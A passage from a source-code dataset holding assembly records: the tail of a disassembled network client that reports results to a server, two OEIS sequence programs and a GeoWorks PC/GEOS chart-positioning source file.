401cdf:\t4c 89 f7 \tmov %r14,%rdi\n 401ce2:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401ce7:\te8 84 ef ff ff \tcallq 400c70 <__sprintf_chk@plt>\n 401cec:\t44 89 e7 \tmov %r12d,%edi\n 401cef:\te8 5c ee ff ff \tcallq 400b50 \n 401cf4:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401cf9:\te9 6a 01 00 00 \tjmpq 401e68 \n 401cfe:\tba 00 20 00 00 \tmov $0x2000,%edx\n 401d03:\t48 8d 74 24 40 \tlea 0x40(%rsp),%rsi\n 401d08:\t48 8d bc 24 40 80 00 \tlea 0x8040(%rsp),%rdi\n 401d0f:\t00 \n 401d10:\te8 79 f9 ff ff \tcallq 40168e \n 401d15:\t48 85 c0 \ttest %rax,%rax\n 401d18:\t7f 6a \tjg 401d84 \n 401d1a:\t48 b8 45 72 72 6f 72 \tmovabs $0x43203a726f727245,%rax\n 401d21:\t3a 20 43 \n 401d24:\t49 89 06 \tmov %rax,(%r14)\n 401d27:\t48 b8 6c 69 65 6e 74 \tmovabs $0x6e7520746e65696c,%rax\n 401d2e:\t20 75 6e \n 401d31:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401d35:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 401d3c:\t74 6f 20 \n 401d3f:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401d43:\t48 b8 72 65 61 64 20 \tmovabs $0x6165682064616572,%rax\n 401d4a:\t68 65 61 \n 401d4d:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401d51:\t48 b8 64 65 72 73 20 \tmovabs $0x6f72662073726564,%rax\n 401d58:\t66 72 6f \n 401d5b:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 401d5f:\t48 b8 6d 20 73 65 72 \tmovabs $0x726576726573206d,%rax\n 401d66:\t76 65 72 \n 401d69:\t49 89 46 28 \tmov %rax,0x28(%r14)\n 401d6d:\t41 c6 46 30 00 \tmovb $0x0,0x30(%r14)\n 401d72:\t44 89 e7 \tmov %r12d,%edi\n 401d75:\te8 d6 ed ff ff \tcallq 400b50 \n 401d7a:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401d7f:\te9 e4 00 00 00 \tjmpq 401e68 \n 401d84:\t80 7c 24 40 0d \tcmpb $0xd,0x40(%rsp)\n 401d89:\t0f 85 6f ff ff ff \tjne 401cfe \n 401d8f:\t80 7c 24 41 0a \tcmpb $0xa,0x41(%rsp)\n 401d94:\t0f 85 64 ff ff ff \tjne 401cfe \n 401d9a:\t80 7c 24 42 00 \tcmpb $0x0,0x42(%rsp)\n 401d9f:\t0f 85 59 ff ff ff \tjne 401cfe \n 401da5:\tba 00 20 00 00 \tmov $0x2000,%edx\n 401daa:\t48 8d 74 24 40 \tlea 0x40(%rsp),%rsi\n 401daf:\t48 8d bc 24 40 80 00 \tlea 0x8040(%rsp),%rdi\n 401db6:\t00 \n 401db7:\te8 d2 f8 ff ff \tcallq 40168e \n 401dbc:\t48 85 c0 \ttest %rax,%rax\n 401dbf:\t7f 70 \tjg 401e31 \n 401dc1:\t48 b8 45 72 72 6f 72 \tmovabs $0x43203a726f727245,%rax\n 401dc8:\t3a 20 43 \n 401dcb:\t49 89 06 \tmov %rax,(%r14)\n 401dce:\t48 b8 6c 69 65 6e 74 \tmovabs $0x6e7520746e65696c,%rax\n 401dd5:\t20 75 6e \n 401dd8:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401ddc:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 401de3:\t74 6f 20 \n 401de6:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401dea:\t48 b8 72 65 61 64 20 \tmovabs $0x6174732064616572,%rax\n 401df1:\t73 74 61 \n 401df4:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401df8:\t48 b8 74 75 73 20 6d \tmovabs $0x7373656d20737574,%rax\n 401dff:\t65 73 73 \n 401e02:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 401e06:\t48 b8 61 67 65 20 66 \tmovabs $0x6d6f726620656761,%rax\n 401e0d:\t72 6f 6d \n 401e10:\t49 89 46 28 \tmov %rax,0x28(%r14)\n 401e14:\t48 b8 20 73 65 72 76 \tmovabs $0x72657672657320,%rax\n 401e1b:\t65 72 00 \n 401e1e:\t49 89 46 30 \tmov %rax,0x30(%r14)\n 401e22:\t44 89 e7 \tmov %r12d,%edi\n 401e25:\te8 26 ed ff ff \tcallq 400b50 \n 401e2a:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401e2f:\teb 37 \tjmp 401e68 \n 401e31:\t48 8d 74 24 40 \tlea 0x40(%rsp),%rsi\n 401e36:\t4c 89 f7 \tmov %r14,%rdi\n 401e39:\te8 c2 ec ff ff \tcallq 400b00 \n 401e3e:\t44 89 e7 \tmov %r12d,%edi\n 401e41:\te8 0a ed ff ff \tcallq 400b50 \n 401e46:\t41 0f b6 06 \tmovzbl (%r14),%eax\n 401e4a:\t83 e8 4f \tsub $0x4f,%eax\n 401e4d:\t75 0f \tjne 401e5e \n 401e4f:\t41 0f b6 46 01 \tmovzbl 0x1(%r14),%eax\n 401e54:\t83 e8 4b \tsub $0x4b,%eax\n 401e57:\t75 05 \tjne 401e5e \n 401e59:\t41 0f b6 46 02 \tmovzbl 0x2(%r14),%eax\n 401e5e:\t85 c0 \ttest %eax,%eax\n 401e60:\t0f 95 c0 \tsetne %al\n 401e63:\t0f b6 c0 \tmovzbl %al,%eax\n 401e66:\tf7 d8 \tneg %eax\n 401e68:\t48 8b 94 24 58 a0 00 \tmov 0xa058(%rsp),%rdx\n 401e6f:\t00 \n 401e70:\t64 48 33 14 25 28 00 \txor %fs:0x28,%rdx\n 401e77:\t00 00 \n 401e79:\t0f 84 00 01 00 00 \tje 401f7f \n 401e7f:\te9 f6 00 00 00 \tjmpq 401f7a \n 401e84:\t48 8d 84 24 40 20 00 \tlea 0x2040(%rsp),%rax\n 401e8b:\t00 \n 401e8c:\t48 89 44 24 08 \tmov %rax,0x8(%rsp)\n 401e91:\t4c 89 3c 24 \tmov %r15,(%rsp)\n 401e95:\t4c 8b 4c 24 18 \tmov 0x18(%rsp),%r9\n 401e9a:\t4c 8b 44 24 10 \tmov 0x10(%rsp),%r8\n 401e9f:\tb9 d0 26 40 00 \tmov $0x4026d0,%ecx\n 401ea4:\tba 00 20 00 00 \tmov $0x2000,%edx\n 401ea9:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401eae:\t48 8d 7c 24 40 \tlea 0x40(%rsp),%rdi\n 401eb3:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401eb8:\te8 b3 ed ff ff \tcallq 400c70 <__sprintf_chk@plt>\n 401ebd:\t48 8d 7c 24 40 \tlea 0x40(%rsp),%rdi\n 401ec2:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401ec7:\t48 c7 c1 ff ff ff ff \tmov $0xffffffffffffffff,%rcx\n 401ece:\tf2 ae \trepnz scas %es:(%rdi),%al\n 401ed0:\t48 f7 d1 \tnot %rcx\n 401ed3:\t48 83 e9 01 \tsub $0x1,%rcx\n 401ed7:\t49 89 cd \tmov %rcx,%r13\n 401eda:\t0f 84 f8 fc ff ff \tje 401bd8 \n 401ee0:\t48 89 cb \tmov %rcx,%rbx\n 401ee3:\t48 8d 6c 24 40 \tlea 0x40(%rsp),%rbp\n 401ee8:\te9 5d fc ff ff \tjmpq 401b4a \n 401eed:\t48 b8 45 72 72 6f 72 \tmovabs $0x52203a726f727245,%rax\n 401ef4:\t3a 20 52 \n 401ef7:\t49 89 06 \tmov %rax,(%r14)\n 401efa:\t48 b8 65 73 75 6c 74 \tmovabs $0x747320746c757365,%rax\n 401f01:\t20 73 74 \n 401f04:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401f08:\t48 b8 72 69 6e 67 20 \tmovabs $0x6e6f6320676e6972,%rax\n 401f0f:\t63 6f 6e \n 401f12:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401f16:\t48 b8 74 61 69 6e 73 \tmovabs $0x6e6120736e696174,%rax\n 401f1d:\t20 61 6e \n 401f20:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401f24:\t48 b8 20 69 6c 6c 65 \tmovabs $0x6c6167656c6c6920,%rax\n 401f2b:\t67 61 6c \n 401f2e:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 401f32:\t48 b8 20 6f 72 20 75 \tmovabs $0x72706e7520726f20,%rax\n 401f39:\t6e 70 72 \n 401f3c:\t49 89 46 28 \tmov %rax,0x28(%r14)\n 401f40:\t48 b8 69 6e 74 61 62 \tmovabs $0x20656c6261746e69,%rax\n 401f47:\t6c 65 20 \n 401f4a:\t49 89 46 30 \tmov %rax,0x30(%r14)\n 401f4e:\t48 b8 63 68 61 72 61 \tmovabs $0x6574636172616863,%rax\n 401f55:\t63 74 65 \n 401f58:\t49 89 46 38 \tmov %rax,0x38(%r14)\n 401f5c:\t66 41 c7 46 40 72 2e \tmovw $0x2e72,0x40(%r14)\n 401f63:\t41 c6 46 42 00 \tmovb $0x0,0x42(%r14)\n 401f68:\t44 89 e7 \tmov %r12d,%edi\n 401f6b:\te8 e0 eb ff ff \tcallq 400b50 \n 401f70:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401f75:\te9 ee fe ff ff \tjmpq 401e68 \n 401f7a:\te8 b1 eb ff ff \tcallq 400b30 <__stack_chk_fail@plt>\n 401f7f:\t48 81 c4 68 a0 00 00 \tadd $0xa068,%rsp\n 401f86:\t5b \tpop %rbx\n 401f87:\t5d \tpop %rbp\n 401f88:\t41 5c \tpop %r12\n 401f8a:\t41 5d \tpop %r13\n 401f8c:\t41 5e \tpop %r14\n 401f8e:\t41 5f \tpop %r15\n 401f90:\tc3 \tretq \n\n0000000000401f91 :\n 401f91:\t53 \tpush %rbx\n 401f92:\t89 fb \tmov %edi,%ebx\n 401f94:\t85 ff \ttest %edi,%edi\n 401f96:\t74 1e \tje 401fb6 \n 401f98:\tbe 60 16 40 00 \tmov $0x401660,%esi\n 401f9d:\tbf 0e 00 00 00 \tmov $0xe,%edi\n 401fa2:\te8 e9 eb ff ff \tcallq 400b90 \n 401fa7:\t85 db \ttest %ebx,%ebx\n 401fa9:\tbf 00 00 00 00 \tmov $0x0,%edi\n 401fae:\t0f 49 fb \tcmovns %ebx,%edi\n 401fb1:\te8 8a eb ff ff \tcallq 400b40 \n 401fb6:\t5b \tpop %rbx\n 401fb7:\tc3 \tretq \n\n0000000000401fb8 :\n 401fb8:\t55 \tpush %rbp\n 401fb9:\t53 \tpush %rbx\n 401fba:\t48 83 ec 28 \tsub $0x28,%rsp\n 401fbe:\t48 89 fd \tmov %rdi,%rbp\n 401fc1:\t64 48 8b 04 25 28 00 \tmov %fs:0x28,%rax\n 401fc8:\t00 00 \n 401fca:\t48 89 44 24 18 \tmov %rax,0x18(%rsp)\n 401fcf:\t31 c0 \txor %eax,%eax\n 401fd1:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401fd6:\tbf 0d 00 00 00 \tmov $0xd,%edi\n 401fdb:\te8 b0 eb ff ff \tcallq 400b90 \n 401fe0:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401fe5:\tbf 1d 00 00 00 \tmov $0x1d,%edi\n 401fea:\te8 a1 eb ff ff \tcallq 400b90 \n 401fef:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401ff4:\tbf 1d 00 00 00 \tmov $0x1d,%edi\n 401ff9:\te8 92 eb ff ff \tcallq 400b90 \n 401ffe:\tba 00 00 00 00 \tmov $0x0,%edx\n 402003:\tbe 01 00 00 00 \tmov $0x1,%esi\n 402008:\tbf 02 00 00 00 \tmov $0x2,%edi\n 40200d:\te8 6e ec ff ff \tcallq 400c80 \n 402012:\t89 c3 \tmov %eax,%ebx\n 402014:\t85 c0 \ttest %eax,%eax\n 402016:\t79 4f \tjns 402067 \n 402018:\t48 b8 45 72 72 6f 72 \tmovabs $0x43203a726f727245,%rax\n 40201f:\t3a 20 43 \n 402022:\t48 89 45 00 \tmov %rax,0x0(%rbp)\n 402026:\t48 b8 6c 69 65 6e 74 \tmovabs $0x6e7520746e65696c,%rax\n 40202d:\t20 75 6e \n 402030:\t48 89 45 08 \tmov %rax,0x8(%rbp)\n 402034:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 40203b:\t74 6f 20 \n 40203e:\t48 89 45 10 \tmov %rax,0x10(%rbp)\n 402042:\t48 b8 63 72 65 61 74 \tmovabs $0x7320657461657263,%rax\n 402049:\t65 20 73 \n 40204c:\t48 89 45 18 \tmov %rax,0x18(%rbp)\n 402050:\tc7 45 20 6f 63 6b 65 \tmovl $0x656b636f,0x20(%rbp)\n 402057:\t66 c7 45 24 74 00 \tmovw $0x74,0x24(%rbp)\n 40205d:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 402062:\te9 0a 01 00 00 \tjmpq 402171 \n 402067:\tbf 60 27 40 00 \tmov $0x402760,%edi\n 40206c:\te8 2f eb ff ff \tcallq 400ba0 \n 402071:\t48 85 c0 \ttest %rax,%rax\n 402074:\t75 68 \tjne 4020de \n 402076:\t48 b8 45 72 72 6f 72 \tmovabs $0x44203a726f727245,%rax\n 40207d:\t3a 20 44 \n 402080:\t48 89 45 00 \tmov %rax,0x0(%rbp)\n 402084:\t48 b8 4e 53 20 69 73 \tmovabs $0x6e7520736920534e,%rax\n 40208b:\t20 75 6e \n 40208e:\t48 89 45 08 \tmov %rax,0x8(%rbp)\n 402092:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 402099:\t74 6f 20 \n 40209c:\t48 89 45 10 \tmov %rax,0x10(%rbp)\n 4020a0:\t48 b8 72 65 73 6f 6c \tmovabs $0x2065766c6f736572,%rax\n 4020a7:\t76 65 20 \n 4020aa:\t48 89 45 18 \tmov %rax,0x18(%rbp)\n 4020ae:\t48 b8 73 65 72 76 65 \tmovabs $0x6120726576726573,%rax\n 4020b5:\t72 20 61 \n 4020b8:\t48 89 45 20 \tmov %rax,0x20(%rbp)\n 4020bc:\tc7 45 28 64 64 72 65 \tmovl $0x65726464,0x28(%rbp)\n 4020c3:\t66 c7 45 2c 73 73 \tmovw $0x7373,0x2c(%rbp)\n 4020c9:\tc6 45 2e 00 \tmovb $0x0,0x2e(%rbp)\n 4020cd:\t89 df \tmov %ebx,%edi\n 4020cf:\te8 7c ea ff ff \tcallq 400b50 \n 4020d4:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 4020d9:\te9 93 00 00 00 \tjmpq 402171 \n 4020de:\t48 c7 04 24 00 00 00 \tmovq $0x0,(%rsp)\n 4020e5:\t00 \n 4020e6:\t48 c7 44 24 08 00 00 \tmovq $0x0,0x8(%rsp)\n 4020ed:\t00 00 \n 4020ef:\t66 c7 04 24 02 00 \tmovw $0x2,(%rsp)\n 4020f5:\t48 63 50 14 \tmovslq 0x14(%rax),%rdx\n 4020f9:\t48 8b 40 18 \tmov 0x18(%rax),%rax\n 4020fd:\t48 8d 7c 24 04 \tlea 0x4(%rsp),%rdi\n 402102:\tb9 0c 00 00 00 \tmov $0xc,%ecx\n 402107:\t48 8b 30 \tmov (%rax),%rsi\n 40210a:\te8 a1 ea ff ff \tcallq 400bb0 <__memmove_chk@plt>\n 40210f:\t66 c7 44 24 02 3b 6e \tmovw $0x6e3b,0x2(%rsp)\n 402116:\tba 10 00 00 00 \tmov $0x10,%edx\n 40211b:\t48 89 e6 \tmov %rsp,%rsi\n 40211e:\t89 df \tmov %ebx,%edi\n 402120:\te8 0b eb ff ff \tcallq 400c30 \n 402125:\t85 c0 \ttest %eax,%eax\n 402127:\t79 32 \tjns 40215b \n 402129:\t41 b8 60 27 40 00 \tmov $0x402760,%r8d\n 40212f:\tb9 20 27 40 00 \tmov $0x402720,%ecx\n 402134:\t48 c7 c2 ff ff ff ff \tmov $0xffffffffffffffff,%rdx\n 40213b:\tbe 01 00 00 00 \tmov $0x1,%esi\n 402140:\t48 89 ef \tmov %rbp,%rdi\n 402143:\tb8 00 00 00 00 \tmov $0x0,%eax\n 402148:\te8 23 eb ff ff \tcallq 400c70 <__sprintf_chk@plt>\n 40214d:\t89 df \tmov %ebx,%edi\n 40214f:\te8 fc e9 ff ff \tcallq 400b50 \n 402154:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 402159:\teb 16 \tjmp 402171 \n 40215b:\t89 df \tmov %ebx,%edi\n 40215d:\te8 ee e9 ff ff \tcallq 400b50 \n 402162:\t66 c7 45 00 4f 4b \tmovw $0x4b4f,0x0(%rbp)\n 402168:\tc6 45 02 00 \tmovb $0x0,0x2(%rbp)\n 40216c:\tb8 00 00 00 00 \tmov $0x0,%eax\n 402171:\t48 8b 4c 24 18 \tmov 0x18(%rsp),%rcx\n 402176:\t64 48 33 0c 25 28 00 \txor %fs:0x28,%rcx\n 40217d:\t00 00 \n 40217f:\t74 05 \tje 402186 \n 402181:\te8 aa e9 ff ff \tcallq 400b30 <__stack_chk_fail@plt>\n 402186:\t48 83 c4 28 \tadd $0x28,%rsp\n 40218a:\t5b \tpop %rbx\n 40218b:\t5d \tpop %rbp\n 40218c:\tc3 \tretq \n\n000000000040218d :\n 40218d:\t53 \tpush %rbx\n 40218e:\t48 83 ec 10 \tsub $0x10,%rsp\n 402192:\t48 89 cb \tmov %rcx,%rbx\n 402195:\t85 d2 \ttest %edx,%edx\n 402197:\t74 27 \tje 4021c0 \n 402199:\t48 89 f2 \tmov %rsi,%rdx\n 40219c:\tbe 78 27 40 00 \tmov $0x402778,%esi\n 4021a1:\tbf 01 00 00 00 \tmov $0x1,%edi\n 4021a6:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4021ab:\te8 50 ea ff ff \tcallq 400c00 <__printf_chk@plt>\n 4021b0:\t66 c7 03 4f 4b \tmovw $0x4b4f,(%rbx)\n 4021b5:\tc6 43 02 00 \tmovb $0x0,0x2(%rbx)\n 4021b9:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4021be:\teb 3e \tjmp 4021fe \n 4021c0:\t48 85 ff \ttest %rdi,%rdi\n 4021c3:\t74 2b \tje 4021f0 \n 4021c5:\t80 3f 00 \tcmpb $0x0,(%rdi)\n 4021c8:\t74 26 \tje 4021f0 \n 4021ca:\t48 89 0c 24 \tmov %rcx,(%rsp)\n 4021ce:\t49 89 f1 \tmov %rsi,%r9\n 4021d1:\t41 b8 ec 22 40 00 \tmov $0x4022ec,%r8d\n 4021d7:\t48 89 f9 \tmov %rdi,%rcx\n 4021da:\tba 8f 27 40 00 \tmov $0x40278f,%edx\n 4021df:\tbe 6e 3b 00 00 \tmov $0x3b6e,%esi\n 4021e4:\tbf 60 27 40 00 \tmov $0x402760,%edi\n 4021e9:\te8 be f5 ff ff \tcallq 4017ac \n 4021ee:\teb 0e \tjmp 4021fe \n 4021f0:\t66 c7 03 4f 4b \tmovw $0x4b4f,(%rbx)\n 4021f5:\tc6 43 02 00 \tmovb $0x0,0x2(%rbx)\n 4021f9:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4021fe:\t48 83 c4 10 \tadd $0x10,%rsp\n 402202:\t5b \tpop %rbx\n 402203:\tc3 \tretq \n 402204:\t90 \tnop\n 402205:\t90 \tnop\n 402206:\t90 \tnop\n 402207:\t90 \tnop\n 402208:\t90 \tnop\n 402209:\t90 \tnop\n 40220a:\t90 \tnop\n 40220b:\t90 \tnop\n 40220c:\t90 \tnop\n 40220d:\t90 \tnop\n 40220e:\t90 \tnop\n 40220f:\t90 \tnop\n\n0000000000402210 <__libc_csu_init>:\n 402210:\t48 89 6c 24 d8 \tmov %rbp,-0x28(%rsp)\n 402215:\t4c 89 64 24 e0 \tmov %r12,-0x20(%rsp)\n 40221a:\t48 8d 2d df 0b 20 00 \tlea 0x200bdf(%rip),%rbp # 602e00 <__do_global_dtors_aux_fini_array_entry>\n 402221:\t4c 8d 25 d0 0b 20 00 \tlea 0x200bd0(%rip),%r12 # 602df8 <__frame_dummy_init_array_entry>\n 402228:\t4c 89 6c 24 e8 \tmov %r13,-0x18(%rsp)\n 40222d:\t4c 89 74 24 f0 \tmov %r14,-0x10(%rsp)\n 402232:\t4c 89 7c 24 f8 \tmov %r15,-0x8(%rsp)\n 402237:\t48 89 5c 24 d0 \tmov %rbx,-0x30(%rsp)\n 40223c:\t48 83 ec 38 \tsub $0x38,%rsp\n 402240:\t4c 29 e5 \tsub %r12,%rbp\n 402243:\t41 89 fd \tmov %edi,%r13d\n 402246:\t49 89 f6 \tmov %rsi,%r14\n 402249:\t48 c1 fd 03 \tsar $0x3,%rbp\n 40224d:\t49 89 d7 \tmov %rdx,%r15\n 402250:\te8 6b e8 ff ff \tcallq 400ac0 <_init>\n 402255:\t48 85 ed \ttest %rbp,%rbp\n 402258:\t74 1c \tje 402276 <__libc_csu_init+0x66>\n 40225a:\t31 db \txor %ebx,%ebx\n 40225c:\t0f 1f 40 00 \tnopl 0x0(%rax)\n 402260:\t4c 89 fa \tmov %r15,%rdx\n 402263:\t4c 89 f6 \tmov %r14,%rsi\n 402266:\t44 89 ef \tmov %r13d,%edi\n 402269:\t41 ff 14 dc \tcallq *(%r12,%rbx,8)\n 40226d:\t48 83 c3 01 \tadd $0x1,%rbx\n 402271:\t48 39 eb \tcmp %rbp,%rbx\n 402274:\t75 ea \tjne 402260 <__libc_csu_init+0x50>\n 402276:\t48 8b 5c 24 08 \tmov 0x8(%rsp),%rbx\n 40227b:\t48 8b 6c 24 10 \tmov 0x10(%rsp),%rbp\n 402280:\t4c 8b 64 24 18 \tmov 0x18(%rsp),%r12\n 402285:\t4c 8b 6c 24 20 \tmov 0x20(%rsp),%r13\n 40228a:\t4c 8b 74 24 28 \tmov 0x28(%rsp),%r14\n 40228f:\t4c 8b 7c 24 30 \tmov 0x30(%rsp),%r15\n 402294:\t48 83 c4 38 \tadd $0x38,%rsp\n 402298:\tc3 \tretq \n 402299:\t0f 1f 80 00 00 00 00 \tnopl 0x0(%rax)\n\n00000000004022a0 <__libc_csu_fini>:\n 4022a0:\tf3 c3 \trepz retq \n 4022a2:\t90 \tnop\n 4022a3:\t90 \tnop\n\nDisassembly of section .fini:\n\n00000000004022a4 <_fini>:\n 4022a4:\t48 83 ec 08 \tsub $0x8,%rsp\n 4022a8:\t48 83 c4 08 \tadd $0x8,%rsp\n 4022ac:\tc3 \tretq \n","avg_line_length":51.1468571429,"max_line_length":117,"alphanum_fraction":0.5287742858} {"size":375,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A170397: Number of reduced words of length n in Coxeter group on 4 generators S_i with relations (S_i)^2 = (S_i S_j)^44 = I.\n; 1,4,12,36,108,324,972,2916,8748,26244,78732,236196,708588,2125764,6377292,19131876,57395628,172186884,516560652,1549681956,4649045868,13947137604,41841412812,125524238436,376572715308,1129718145924\n\nmov $1,3\npow $1,$0\nmul $1,8\ndiv $1,6\nmov $0,$1\n","avg_line_length":41.6666666667,"max_line_length":199,"alphanum_fraction":0.7706666667} {"size":3581,"ext":"asm","lang":"Assembly","max_stars_count":504.0,"content":"COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\r\n\tCopyright (c) GeoWorks 1992 -- All Rights Reserved\r\n\r\nPROJECT:\tPC GEOS\r\nMODULE:\t\t\r\nFILE:\t\tcgroupPosition.asm\r\n\r\nAUTHOR:\t\tChris Boyke\r\n\r\nMETHODS:\r\n\tName\t\t\tDescription\r\n\t----\t\t\t-----------\r\n\r\nFUNCTIONS:\r\n\r\nScope\tName\t\t\tDescription\r\n-----\t----\t\t\t-----------\r\n\r\nREVISION HISTORY:\r\n\tName\tDate\t\tDescription\r\n\t----\t----\t\t-----------\r\n\tCDB\t1\/30\/92 \tInitial version.\r\n\r\nDESCRIPTION:\r\n\t\r\n\r\n\t$Id: cgroupPosition.asm,v 1.1 97\/04\/04 17:45:47 newdeal Exp $\r\n\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@\r\n\r\n\f\r\nCOMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\t\tChartGroupSetDocPosition\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\r\nDESCRIPTION:\tSet the 32-bit position\r\n\r\nPASS:\t\t*ds:si\t= ChartGroupClass object\r\n\t\tds:di\t= ChartGroupClass instance data\r\n\t\tes\t= Segment of ChartGroupClass.\r\n\t\tss:bp\t= PointDWord position\r\n\r\nRETURN:\t\tnothing \r\n\r\nDESTROYED:\tnothing \r\n\r\nREGISTER\/STACK USAGE:\r\n\r\nPSEUDO CODE\/STRATEGY:\t\r\n\r\nKNOWN BUGS\/SIDE EFFECTS\/CAVEATS\/IDEAS:\t\r\n\r\nREVISION HISTORY:\r\n\tName\tDate\t\tDescription\r\n\t----\t----\t\t-----------\r\n\tCDB\t1\/30\/92 \tInitial version.\r\n\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@\r\n\r\nChartGroupSetDocPosition\tmethod\tdynamic\tChartGroupClass, \r\n\t\t\t\t\tMSG_CHART_GROUP_SET_DOC_POSITION\r\n\tuses\tax,cx\r\n\t.enter\r\n\tsegmov\tes, ds\r\n\tsegmov\tds, ss\r\n\tmov\tsi, bp\r\n \tlea\tdi, es:[di].CGI_docPosition\r\n\tMovMem\t\r\n\t\r\n\t.leave\r\n\tret\r\nChartGroupSetDocPosition\tendm\r\n\r\n\r\n\f\r\nCOMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\t\tChartGroupGetDocPosition\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\r\nDESCRIPTION:\tReturn the position of the chart group in document\r\n\t\tcoordinates \r\n\r\nPASS:\t\t*ds:si\t= ChartGroupClass object\r\n\t\tds:di\t= ChartGroupClass instance data\r\n\t\tes\t= Segment of ChartGroupClass.\r\n\r\n\t\tss:bp = buffer of size PointDWord\r\n\r\nRETURN:\t\tss:bp - buffer filled in\r\n\r\nDESTROYED:\tnothing \r\n\r\nREGISTER\/STACK USAGE:\r\n\r\nPSEUDO CODE\/STRATEGY:\t\r\n\r\nKNOWN BUGS\/SIDE EFFECTS\/CAVEATS\/IDEAS:\t\r\n\r\nREVISION HISTORY:\r\n\tName\tDate\t\tDescription\r\n\t----\t----\t\t-----------\r\n\tCDB\t3\/10\/92 \tInitial version.\r\n\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@\r\n\r\nChartGroupGetDocPosition\tmethod\tdynamic\tChartGroupClass, \r\n\t\t\t\t\tMSG_CHART_GROUP_GET_DOC_POSITION\r\n\tuses\tcx\r\n\r\n\t.enter\r\n\tsegmov\tes, ss, si\r\n \tlea\tsi, es:[di].CGI_docPosition\r\n\tmov\tdi, bp\r\n\tMovMem\t\r\n\t\r\n\t.leave\r\n\tret\r\nChartGroupGetDocPosition\tendm\r\n\r\n\r\n\r\n\f\r\nCOMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\t\tChartGroupSetPosition\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\r\nDESCRIPTION:\t\r\n\r\nPASS:\t\t*ds:si\t= ChartGroupClass object\r\n\t\tds:di\t= ChartGroupClass instance data\r\n\t\tes\t= Segment of ChartGroupClass.\r\n\r\nRETURN:\t\t\r\n\r\nDESTROYED:\tnothing \r\n\r\nREGISTER\/STACK USAGE:\r\n\r\nPSEUDO CODE\/STRATEGY:\t\r\n\tThis method is NOT used to set the position -- position for\r\nChartGroup is always 0,0. This method is used to set the position of\r\nall children.\r\n\r\nKNOWN BUGS\/SIDE EFFECTS\/CAVEATS\/IDEAS:\t\r\n\r\nREVISION HISTORY:\r\n\tName\tDate\t\tDescription\r\n\t----\t----\t\t-----------\r\n\tCDB\t2\/24\/92 \tInitial version.\r\n\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@\r\n\r\nChartGroupSetPosition\tmethod\tdynamic\tChartGroupClass, \r\n\t\t\t\t\tMSG_CHART_OBJECT_SET_POSITION\r\n\tuses\tcx,dx\r\n\t.enter\r\n\tclr\tcx, dx\r\n\tmov\tdi, offset ChartGroupClass\r\n\tcall\tObjCallSuperNoLock\r\n\r\n\t.leave\r\n\tret\r\nChartGroupSetPosition\tendm\r\n\r\n","avg_line_length":21.5722891566,"max_line_length":71,"alphanum_fraction":0.5350460765} {"size":332,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A131725: Partial sums of A131711.\n; 0,1,3,8,10,19,19,28,36,41,49,50,50,51,53,58,60,69,69,78,86,91,99,100,100,101,103,108,110,119,119,128,136,141,149,150,150,151,153,158,160,169,169,178,186,191,199,200\n\nlpb $0\n mov $2,$0\n sub $0,1\n seq $2,131711 ; Period 12: repeat 0, 1, 2, 5, 